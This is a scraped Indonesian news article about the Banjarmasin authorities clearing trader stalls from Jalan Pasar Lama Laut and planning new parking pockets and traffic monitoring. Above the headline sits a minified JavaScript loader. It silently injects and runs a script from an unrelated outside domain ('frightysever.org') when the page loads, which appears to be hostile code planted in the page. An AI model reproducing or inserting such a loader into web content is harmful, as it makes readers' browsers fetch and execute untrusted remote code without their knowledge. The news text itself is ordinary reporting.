(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Penertiban Lapak Pasar Lama Laut: Kebiasaan Pembeli Berbelanja di Atas Sepeda Motor


KANALKALIMANTAN.COM, BANJARMASIN – Penertiban lapak pedagang di Jalan Pasar Lama Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, yang dilakukan Satpol PP Banjarmasin, Senin (27/5/2024), berjalan lancar tanpa ada penolakan oleh pedagang.

Para pedagang bahkan banyak yang secara mandiri memundurkan lapak dagangnya dari badan jalan.

Pasca penertiban lapak pedagang selesai, petugas masih harus melakukan pengawasan rutin agar normalisasi Jalan Pasar Lama Laut benar-benar berhasil.

Kebiasaan pembeli berbelanja tanpa turun dari sepeda motor menyebabkan kemacetan di kawasan Jalan Pasar Lama Laut masih menjadi Pekerjaan Rumah (PR) dinas terkait.

Baca juga: BREAKING NEWS: Satpol PP Banjarmasin Bongkar Lapak Pedagang di Pasar Lama Laut

Kepala Bidang Lalu Lintas (Kabid Lalin) Dinas Perhubungan (Dishub) Kota Banjarmasin, Febpry tak menampik hal itu.

Menurut Kabid Lalin Dishub Banjarmasin, saat ini masih ada tiga kantong parkir di kawasan Pasar Lama, dan setelah adanya normalisasi jalan pihaknya berencana akan menambah kantong parkir.

“Sementara baru ada tiga (kantong parkir), nanti kedepannya kita komunikasi lagi ke masyarakat siapa yang bersedia membuka kantong-kantong parkir yang baru,” ujarnya.

Baca juga: Pembongkaran Tanpa Perlawanan, Pedagang Rela Asal Masih Bisa Berjualan

Terkait kebiasaan pembeli yang belanja dengan berhenti di pinggir Jalan Pasar Lama Laut, Dishub Banjarmasin, kata Febpry, akan menghentikan sedikit demi sedikit kebiasaan itu. Diantaranya dengan membuka kantong parkir baru dan memberikan rambu-rambu dilarang berhenti.

“Kedepannya seperti itu (tidak boleh berbelanja di atas kendaraan), tapi berproses,” ujarnya.

Dalam mendukung normalisasi Jalan Pasar Lama Laut, Dishub Banjarmasin akan membangun dua pos pengawasan di kawasan Jalan Pasar Lama Laut. Pos 1 berdiri di dekat jembatan Pasar Lama, dan pos 2 berada di dekat jembatan Sulawesi.

“Di tengah-tengah kita akan pasang kamera pengawasan, memantau pelanggaran-pelanggaran lalu lintas agar tidak terjadi kemacetan,” ujarnya.

Baca juga: Bukan Kader Parpol, Lisa Halaby Berani Lamar Banyak Parpol

Sementara itu, Kabid Penertiban Umum (Tibum) Satpol PP Banjarmasin, Hendra mengatakan, penertiban lapak pedagang Pasar Lama bertujuan untuk normalisasi Jalan Pasar Lama Laut agar fungsinya menjadi normal sebagai jalan umum.

Lapak pedagang tidak digusur dan masih dapat berjualan, hanya saja lapak mereka dimundurkan sejauh 50 centimeter dari badan jalan.

“Jadi kita ambil kesimpulan, batas jalan aspal kita mundurkan 50 centimeter kanan dan kiri, supaya yang membeli pun masih bisa berdiri di situ,” ujar Hendra. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

6 jam ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

8 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

9 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

9 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

11 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

11 jam ago

This website uses cookies.